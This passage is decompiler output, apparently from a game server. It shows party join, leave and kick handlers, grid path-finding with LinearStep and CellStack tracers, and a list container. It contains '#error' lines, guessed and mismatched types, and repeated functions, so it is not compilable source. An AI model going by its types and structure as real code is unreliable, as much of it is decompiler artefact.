"ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); } //----- (004994D0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_PARTY_MEMBERINFORM_ACK *v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 char v6; // cl@2 int v7; // edi@4 int v8; // ebp@5 int v9; // ecx@6 int v10; // edx@6 WorldManagerSession *thisa; // [sp+0h] [bp-14h]@1 int netcmda; // [sp+18h] [bp+4h]@4 v3 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_PARTY_MEMBERINFORM_ACK *)&netcmd[1]; v5 = CParty::operator__(&partycontainer, netcmd[1].protocol); if ( v5 ) { v6 = v5->NumOfMember; if ( v5->NumOfMember == LOBYTE(netcmd[2].protocol) ) { v7 = (unsigned __int8)v6; netcmda = 0; if ( (signed int)(unsigned __int8)v6 > 0 ) { v8 = (int)v5->Members; do { v9 = 0; v10 = (int)&v4[1]; while ( *(_DWORD *)v8 != *(_DWORD *)v10 ) { ++v9; v10 += 26; if ( v9 >= v7 ) { WorldManagerSession::wms_PartyMemberRefresh(thisa, v5, v4); goto LABEL_11; } } v8 += 32; ++netcmda; } while ( netcmda < v7 ); } } else { WorldManagerSession::wms_PartyMemberRefresh(v3, v5, v4); } } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); } //----- (004995E0) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this) { *(_QWORD *)&this->charname.n4_name[8] = 0i64; *(_QWORD *)&this->charname.n4_name[0] = 0i64; } //----- (00499600) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this) { PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(&this->Member); } //----- (00499610) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // di@1 char *v4; // [sp-14h] [bp-28h]@3 unsigned int v5; // [sp+4h] [bp-10h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 >= 0x7D0u || CParty::operator__(&partycontainer, v3)->NumOfMember ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD : New party in nonempty slot", v3); v4 = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } else { CParty::MemberJoin( &partycontainer, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2], (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)((char *)&netcmd[15].protocol + 1), netcmd[1].protocol); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)((char *)&netcmd[15].protocol + 1)); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); v4 = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v4); __security_check_cookie(v5); } //----- (00499740) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@2 int v4; // esi@3 int v5; // eax@4 v1 = this; result = *(_DWORD *)(this + 88932); if ( result ) { v3 = 0; if ( *(_BYTE *)result ) { v4 = 0; do { v5 = *(_DWORD *)(v4 + result + 32); if ( v5 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2176))(v5); result = *(_DWORD *)(v1 + 88932); ++v3; v4 += 32; } while ( v3 < *(_BYTE *)result ); } } return result; } //----- (00499790) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this) { ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)(this + 88932)); } //----- (004997A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) { CParty::MemberJoin(&partycontainer, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet(&partymanufacture, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); PartyManufacture::pm_NewMemberJoin(&partymanufacture, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } else { AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD : join to empty party", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } } //----- (004998C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S3_44 & 1) ) { _S3_44 |= 1u; cmc_51.cmc_AllowMode = 126; atexit(_E4_72); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_51.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_PartyInformInit(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); } //----- (004999A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // ebx@1 unsigned __int16 v4; // si@1 #325 *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = netcmd[1].protocol; if ( v4 < 0x7D0u ) { PartyManufacture::pm_MemberLeave(&partymanufacture, v4, *(_DWORD *)&netcmd[2].protocol); CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[2].protocol); v5 = ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[2].protocol); if ( v5 ) WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v5, v4); } else { AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD : leave from empty party", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"); } //----- (00499AA0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // ebx@1 unsigned __int16 v4; // si@1 #325 *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = netcmd[1].protocol; if ( v4 < 0x7D0u ) { PartyManufacture::pm_MemberLeave(&partymanufacture, v4, *(_DWORD *)&netcmd[2].protocol); CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[2].protocol); v5 = ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[2].protocol); WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v5, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD : leave from empty party", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"); } //----- (00499B90) -------------------------------------------------------- unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag) { unsigned __int16 result; // ax@2 if ( this->pfc_flag == flag ) result = this->pfc_distance; else result = -31073; return result; } //----- (00499BB0) -------------------------------------------------------- PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y) { PathFindTable *v3; // esi@1 int v4; // ecx@5 PathFindCell *result; // eax@8 v3 = this; LOBYTE(v4) = x >= -1200 && x <= 1200 && y >= -1200 && y <= 1200; v4 = (unsigned __int8)v4; if ( (_BYTE)v4 ) { result = (PathFindCell *)((char *)v3 + 16 * (2401 * x + y + 2882400)); } else { AssertClass::ac_AssertFail(&shineassert, "PathFindTable::operator () : Out of range", v4); result = (PathFindCell *)((char *)v3 + (_DWORD)((char *)&wholesaver + 83721392)); } return result; } //----- (00499C20) -------------------------------------------------------- void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y) { *x = this->ls_from.x + step * this->ls_delta1024.x / 1024; *y = this->ls_from.y + step * this->ls_delta1024.y / 1024; if ( *x < -1200 || *x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *x); if ( *y < -1200 || *y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *y); } //----- (00499CB0) -------------------------------------------------------- Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty) { LinearStep *v5; // esi@1 signed int v6; // ecx@13 signed int v7; // eax@13 int v8; // ecx@18 v5 = this; if ( fx < -1200 || fx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fx); if ( fy < -1200 || fy > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fy); if ( tx < -1200 || tx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", tx); if ( ty < -1200 || ty > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", ty); v5->ls_from.y = fy; v5->ls_to.y = fy; v6 = abs(tx - fx); v7 = abs(ty - fy); v5->ls_from.x = fx; v5->ls_to.x = fx; if ( v6 <= v7 ) v6 = v7; v5->ls_linelength = v6; if ( v6 ) { v5->ls_delta1024.x = ((tx - fx) << 10) / v6; v5->ls_delta1024.y = ((ty - fy) << 10) / v6; } else { v5->ls_delta1024.y = 0; v5->ls_delta1024.x = 0; } v8 = v5->ls_from.y; v5->ls_Prev.x = v5->ls_from.x; v5->ls_count = 0; v5->ls_Prev.y = v8; return (Tracer *)v5; } //----- (00499DB0) -------------------------------------------------------- void __thiscall PathFindTable::PathFindTable(PathFindTable *this) { PathFindTable *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, (int)((char *)loc_57F6BE + 3), (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(unsigned int *)((char *)&v1->pft_table[0][0].pfc_flag + (_DWORD)((char *)&wholesaver + 83721392)) = 0; } // 57F6BE: using guessed type int __cdecl loc_57F6BE(int fh, int buf, int cnt); //----- (00499DE0) -------------------------------------------------------- void __thiscall PathFindTable::_PathFindTable(PathFindTable *this) { _eh_vector_destructor_iterator_( this, 0x10u, (int)((char *)loc_57F6BE + 3), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 57F6BE: using guessed type int __cdecl loc_57F6BE(int fh, int buf, int cnt); //----- (00499E00) -------------------------------------------------------- void __thiscall Tracer::_Tracer(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 5BD560: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (00499E10) -------------------------------------------------------- void __thiscall LinearStep::LinearStep(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&LinearStep::_vftable_; } // 5BD56C: using guessed type int (__thiscall *LinearStep___vftable_)(void *p, char); //----- (00499E20) -------------------------------------------------------- #error "499E20: undefined or illegal type '#325' (funcsize=26)" //----- (00499E70) -------------------------------------------------------- #error "499E70: undefined or illegal type '#325' (funcsize=40)" //----- (00499EE0) -------------------------------------------------------- void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (TracerVtbl *)&Tracer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5BD560: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (00499F00) -------------------------------------------------------- void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Tracer::_Tracer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00499F20) -------------------------------------------------------- char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { LinearStep *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->ls_Prev.y * v4->ls_Prev.y + v4->ls_Prev.x * v4->ls_Prev.x >= mindist * mindist ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 1; } else { lastloc->x = v4->ls_Prev.x; lastloc->y = v4->ls_Prev.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 0; } return result; } //----- (00499FF0) -------------------------------------------------------- void __thiscall CellStack::_CellStack(CellStack *this) { CellStack *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; v2 = this->cs_list.l_Array; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 5B2944: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 5BD560: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); // 5BD598: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (0049A020) -------------------------------------------------------- void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist) { CellStack *v7; // esi@1 PathFindCell *v8; // eax@5 unsigned __int16 v9; // bp@5 unsigned int v10; // ST08_4@6 PathFindCell *v11; // eax@6 AbnormalStateContainer::AbstateElementInObject *v12; // esi@7 PathFindCell *v13; // eax@8 CellStack *v14; // edx@8 FunctionEntarance _; // [sp+0h] [bp-14h]@1 CellStack *v16; // [sp+4h] [bp-10h]@1 int v17; // [sp+10h] [bp-4h]@1 v7 = this; v16 = this; _.fe_FunctionCode = "CellStack::cs_push"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::cs_push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::cs_push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( x < -1200 || x > 1200 || y < -1200 || y > 1200 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::cs_push"); } else { v8 = PathFindTable::operator__(&pathfindtable, x, y); v9 = dist; if ( v8->pfc_flag != pathfindflag || (v10 = pathfindflag, v11 = PathFindTable::operator__(&pathfindtable, x, y), PathFindCell::pfc_Getdistance(v11, v10) >= v9) ) { v12 = List::l_AllocationZ( (List *)&v7->cs_list, &dist); if ( !AssertClass::operator__(&shineassert, v12 == 0, "CellStack::cs_push : Out of memory", 0) ) { *(_DWORD *)&dist = pathfindflag; v13 = PathFindTable::operator__(&pathfindtable, x, y); v13->pfc_flag = dist; v13->pfc_distance = v9; *((_DWORD *)&v12->aeo_Caster + 1) = fy; *(_DWORD *)&v12->aeo_Caster._bf0 = fx; *(_DWORD *)&v12->aeo_Strength = v9; v14 = v16; v12->aeo_Tick.start = y * y + x * x + ((unsigned int)v9 >> 6); *(_DWORD *)&v12->aeo_Flag._bf0 = x; v12->aeo_Index = y; v14 = (CellStack *)((char *)v14 + 4828); v14->baseclass_0.vfptr = (TracerVtbl *)x; v14->cs_array[0].cur.x = v12->aeo_Index; v14->cs_array[0].cur.y = *(_DWORD *)&v12->aeo_Caster._bf0; v14->cs_array[0].from.x = *((_DWORD *)&v12->aeo_Caster + 1); v14->cs_array[0].from.y = *(_DWORD *)&v12->aeo_Strength; v14->cs_array[0].distance = v12->aeo_Tick.start; } } v17 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0049A1F0) -------------------------------------------------------- char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { CellStack *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->cs_lastloc.cur.y * v4->cs_lastloc.cur.y + v4->cs_lastloc.cur.x * v4->cs_lastloc.cur.x >= mindist ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 1; } else { lastloc->x = v4->cs_lastloc.cur.x; lastloc->y = v4->cs_lastloc.cur.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::t_continue"); result = 0; } return result; } //----- (0049A2D0) -------------------------------------------------------- char __thiscall MinWeightSearching::lid_Call(MinWeightSearching *this, CellStack::CellStackElement *ele, unsigned __int16 handle) { MinWeightSearching *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MinWeightSearching::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = ele->weight; if ( v3->mws_minweight > v4 ) { v3->mws_minweight = v4; v3->mws_minhandle = handle; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MinWeightSearching::lid_Call"); return 1; } //----- (0049A340) -------------------------------------------------------- Tracer *__thiscall CellStack::t_trace(CellStack *this, PathFindArgumentStruct *pfas) { Tracer *v2; // ebp@1 List *v3; // edi@1 int v4; // ebx@1 CardDeck::Card *v5; // esi@1 PathFindCell *v7; // eax@5 unsigned int v8; // ecx@5 unsigned int v9; // edi@6 PathFindCell *v10; // eax@6 signed __int16 v11; // ax@7 unsigned __int16 v12; // di@12 unsigned int v13; // ebx@12 PathFindCell *v14; // eax@12 MinWeightSearching mws; // [sp+0h] [bp-18h]@1 int v16; // [sp+14h] [bp-4h]@1 v2 = (Tracer *)this; mws.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MinWeightSearching::_vftable_; mws.mws_minhandle = -1; mws.mws_minweight = 999999999; v3 = (List *)&this->cs_list; v16 = 0; List::l_4AllInList((List *)&this->cs_list, (ListIteratorDefault *)&mws); v4 = *(_DWORD *)&mws.mws_minhandle; v5 = List::l_GetInList(v3, mws.mws_minhandle, 0); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "no path", 0); return 0; } if ( !v3->vfptr->l_Free(v3, v4) ) AssertClass::ac_AssertFail(&shineassert, "CellStack::t_trace : Free fail", 0); v7 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v8 = pathfindflag; if ( v7->pfc_flag == pathfindflag ) { v9 = pathfindflag; v10 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); if ( v10->pfc_flag == v9 ) v11 = v10->pfc_distance; else v11 = -31073; if ( (unsigned __int16)v11 <= (signed int)v5[4].c_card ) return v2; v8 = pathfindflag; } v12 = LOWORD(v5[4].c_card); v13 = v8; v14 = PathFindTable::operator__(&pathfindtable, v5->c_card, v5[1].c_card); v14->pfc_flag = v13; v14->pfc_distance = v12; v14->pfc_from.x = v5[2].c_card; v14->pfc_from.y = v5[3].c_card; return LinearStep::ls_Set(&linestep, v5->c_card, v5[1].c_card, 0, 0); } // 5BD5F4: using guessed type int (__stdcall *MinWeightSearching___vftable_)(int ele, __int16 handle); //----- (0049A4A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0049A4F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0049A610) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0049A660) -------------------------------------------------------- Tracer *__thiscall CellStack::cs_Set(CellStack *this, PathFindArgumentStruct *pfas, int x, int y, unsigned __int16 dist) { int v5; // esi@1 CellStack *v6; // ebx@1 int xa; // [sp+18h] [bp+8h]@7 int dista; // [sp+20h] [bp+10h]@7 v5 = x; v6 = this; if ( x < -1200 || x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", x); if ( y < -1200 || y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "CellStack::cs_Set : Out of range", y); xa = dist + 1000; CellStack::cs_push(v6, pfas, v5, y, v5, y + 1, dist + 1000); dista = dist + 1414; CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y + 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 + 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5, y - 1, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y - 1, dista); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y, xa); CellStack::cs_push(v6, pfas, v5, y, v5 - 1, y + 1, dista); return (Tracer *)v6; } //----- (0049A780) -------------------------------------------------------- Tracer *__thiscall LinearStep::t_trace(LinearStep *this, PathFindArgumentStruct *pfas) { void *v2; // esi@1 int v3; // ST04_4@1 unsigned int v4; // edi@1 PathFindCell *v5; // eax@1 int v6; // edi@4 int v7; // ebx@4 unsigned int v8; // ebp@9 PathFindCell *v9; // eax@9 char *v11; // [sp-14h] [bp-30h]@5 unsigned __int16 predist; // [sp+0h] [bp-1Ch]@2 int y; // [sp+4h] [bp-18h]@1 int x; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v16; // [sp+18h] [bp-4h]@1 signed int pfasa; // [sp+20h] [bp+4h]@7 v2 = this; _.fe_FunctionCode = "LinearStep::t_trace"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_trace"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_trace"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 9) + 1; v16 = 0; *((_DWORD *)v2 + 9) = v3; LinearStep::ls_step((LinearStep *)v2, v3, &x, &y); v4 = pathfindflag; v5 = PathFindTable::operator__(&pathfindtable, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8)); if ( v5->pfc_flag == v4 ) predist = v5->pfc_distance; else predist = -31073; v6 = y; v7 = x; if ( PathFindTable::operator__(&pathfindtable, x, y)->pfc_flag == pathfindflag ) { v2 = CellStack::cs_Set(&cellstack, pfas, *((_DWORD *)v2 + 7), *((_DWORD *)v2 + 8), predist); v11 = "LinearStep::t_trace"; } else { if ( *((_DWORD *)v2 + 7) == v7 || (pfasa = 1414, *((_DWORD *)v2 + 8) == v6) ) pfasa = 1000; v8 = pathfindflag; v9 = PathFindTable::operator__(&pathfindtable, v7, v6); v9->pfc_flag = v8; v9->pfc_distance = predist + pfasa; v9->pfc_from.x = *((_DWORD *)v2 + 7); v9->pfc_from.y = *((_DWORD *)v2 + 8); *((_DWORD *)v2 + 7) = v7; *((_DWORD *)v2 + 8) = v6; v11 = "LinearStep::t_trace"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return (Tracer *)v2; } //----- (0049A8F0) -------------------------------------------------------- void *__thiscall CellStack::_vector_deleting_destructor_(CellStack *this, unsigned int a2) { void *v2; // esi@1 v2 = this; CellStack::_CellStack(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049A910) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // 